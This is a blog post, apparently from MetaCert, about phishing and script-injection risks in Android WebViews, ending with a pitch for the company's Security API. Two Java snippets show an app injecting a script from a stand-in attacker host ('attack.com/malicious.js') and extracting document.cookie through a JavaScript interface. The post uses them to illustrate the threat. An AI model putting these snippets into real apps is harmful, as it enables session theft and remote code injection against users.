App making platforms are great. They make it easy for publishers to build native and hybrid apps. As one of the seven original founders of the W3C Mobile Web Initiative, I fully appreciate the value that these platforms bring. However, these well meaning platforms are putting consumers’ personal and corporate data at risk.

100% of all hybrid apps use a WebView, while almost every native app built today uses a WebView so end-users can view webpages without having to close the app to open a native browser.

A Google search for Secure Webview shows results that indicates a serious problems with the security of WebView. There’s one specific security threat that I’m concerned with. Phishing. Before I go into this, I’d like to explain in detail, what a WebView is and how it can be easily exploited with a few lines of code.

A closer look at WebView

A WebView is an essential component on mobile operating platforms such as Android and iOS. A WebView is a class used to access or display content from the Internet on any mobile device using anything other than a commercial web browser. A WebView enables web content to be displayed inside mobile apps. For example, application developers can use WebView to display web content inside an app instead of redirecting users to the native browser. This also allows developers to offer users an integrated experience because they don’t need to close the app and open a web browser in order to view the web content.

A WebView is not intended to act in the same way as conventional web browsers. It does not include many of the features of a fully developed web browser, such as navigation controls, an address bar or safety features. While users of the WebView may move backward and forward through history and pinch zoom to increase the size of text in the web page, WebView does not allow users to visit a web page by typing a URL into an address bar and it offers no web search or security capabilities that commercial web browsers provide.

WebView was originally designed only to display web content inside an app and so their security infrastructure didn’t support many of the things that developers are using them for today. There is an increasing trend towards developers building “hybrid” apps made to look like native apps but are in fact, built entirely around a WebView, using technologies such as HTML and CSS – thereby giving us hundreds of thousands of apps that have browser-like capability, most of which are not developed by well recognized companies and their trustworthiness may be questionable.

Since WebView was first created, app usage is growing exponentially, leading to WebView being used by an increasing number of users. For example, WebView can be helpful when developers want to provide information in their applications that they might need to update without asking users to update their application, such as an end-user agreement or a user guide. Within their applications, developers can create an Activity that contains a WebView, and then use that to display their documents that are hosted online.

A Browser is a critical component in the Trusted Computing Base (TCB) of the Web: Web applications rely on the client side of browsers to secure their cookies, HTTP requests, JavaScript code and so on. We use selected browsers such as Firefox, Chrome, Safari and Opera because we trust that they can serve as a TCB. When using hybrid applications that act like “browsers”, the trust is gone. Therefore, WebView has weakened the TCB of the Web infrastructure.

However, the design of WebView also changes the landscape of the Web, especially from the security perspective. As a result, many attacks can be launched either against apps or by them. The Web’s security infrastructure can be weakened when a WebView and its Application Programing Interfaces (APIs) are used because WebView does not have security related identity indicators. In other words, users often cannot identify whether a link has taken them to the expected web page or web application. Thus, when a user is accessing web content through WebView and the web page asks the user for confidential information such as username, password or credit card number, the confidential information entered by the user will be vulnerable to phishing attacks. Attackers can spoof users using illegitimate applications with high accuracy, meaning that there is high risk of phishing attacks on mobile platforms. There are several ways to launch attacks on WebView or content in a mobile application.

As an example, I’m going to explain how using the functionalities provided by WebView, an app can directly inject its own JavaScript code into any web page loaded within the WebView. This code can manipulate everything in the web page, as well as steal or misuse its sensitive information. Using WebView’s loadUrl() API, Android application can inject arbitrary JavaScript code into the pages loaded by the WebView component. The loadUrl() API receives an argument of string type; if the string starts with“javascript:”, WebView will treat the entire string as JavaScript code, and execute it in the context of the web page that is currently displayed by the WebView component. This JavaScript code has the same privileges as that included in the web page.

Essentially, the injected JavaScript code can manipulate the DOM tree and cookies of the page. WebView has an option named javascriptenable, with False being its default value; namely, by default, WebView does not execute any JavaScript code. However, this option can be easily set to True by the application, and after that, JavaScript code, embedded in the web page or injected by the application, can be executed. There are many ways to inject JavaScript code into web page using loadUrl(). I give two examples here to illustrate the details.

The following Java code constructs a string that contains a short JavaScript program; the program is injected into the web page loaded by WebView. When this program is executed in the context of the web page, it fetches additional (malicious) code from an external web server, and executes it.

String js = “javascript: var newscript= document.createElement(\”script\”);”; js += “newscript.src=\”http://www.attack.com/malicious.js\”;”; js += “document.body.appendChild(newscript);”; mWebView.loadUrl(js);

In the above example, the malicious code malicious.js can launch attacks on the targeted web application from within the web page. For example, if the web page is the user’s Facebook page, the injected JavaScript code can delete the user’s friends, post on his/her friends’ walls, modify the user’s profiles, etc. Obviously, if the application is developed by Facebook, none of these will happen, but some popular Facebook apps for Android phones are indeed developed by third parties.

Extracting Information From WebView.

In addition to manipulating the contents/cookies of the web page, the application can also ask its injected JavaScript code to send out sensitive information from the page. The following example shows how an Android application extracts the cookie information from a targeted web page.

class MyJS {public void SendSecret(String secret) {… do whatever you want with the secret …webview.addJavascriptInterface(new MyJS(), “JsShow”); webview.setWebViewClient(new WebViewClient() {public void onPageFinished(WebView view, String url){ 3view.loadUrl(“javascript: window.JsShow.SendSecret(document.cookie)”);}

In the Java code above, the malicious application defines a class called MyJS with a function SendSecret, which receives a string as the parameter. The program then registers an instance of MyJS to WebView. On finishing loading the page, the application, using loadUrl, invokes window.JsShow.SendSecret, passing as the parameter whatever sensitive information the attacker wants to extract out of page. In this case, the cookie information is sent out.

Further, while WebView provided by companies such as Google and Apple offer a secure connection between a mobile application and a web page, their basic UI do not offer users with any indication of the level of security offered by the web content. Thus, users will not be aware of whether the web content is safe or authentic. As a result, this gives the fraudsters (including phishing web sites) an opportunity to exploit such security breech.

Fueled by widespread adoption of employee-owned devices in the workplace and the explosion of mobile applications, mobile device security is an increasing threat to personal privacy. Businesses and government agencies are at risk with employees using their own devices to access some of the most sensitive data in an organization.

Accordingly, there exists a need for an improved method which not only allows users of WebView to readily identify whether a web page is safe, but also allows them to readily identify the level of security, thereby increasing users’ confidence in performing secure transactions over WebView.

There is a need for improved security method which protects users and their personal data from malicious web sites or phishing attacks while they are accessing a web page through WebView. And there is a need for improved security method which offers users the ability to block content that they deem inappropriate for themselves or the people for whom they are responsible while using WebView.

And finally, there is a need for improved security which offers users the ability to verify the real identity of an application owner to help prevent phishing and other malicious attacks by the app itself.

This is the reason MetaCert makes it easy for developers to make their WebView more secure. MetaCert provides a thin but powerful layer of security with the Security API service. AppMakr.com is the first app platform to integrate our API service – every app publisher is now asked if they want to protect their end-users from mobile malware & phishing attacks and pornography.

Last month, 44% of apps published on AppMakr signed up for at least one of MetaCert’s Security API services. Of those, 74% signed up for both malware & phishing protection and pornography blocking. This tells us that publishers want to add security to their apps in order to protect their end-users from malicious attacks and unwanted content. We are almost finished with an integration with Appery.io so keep an eye out for that.

Whether you’re a developer or an app platform, you can have 150 free API calls every month without signing a contract. Get started for free.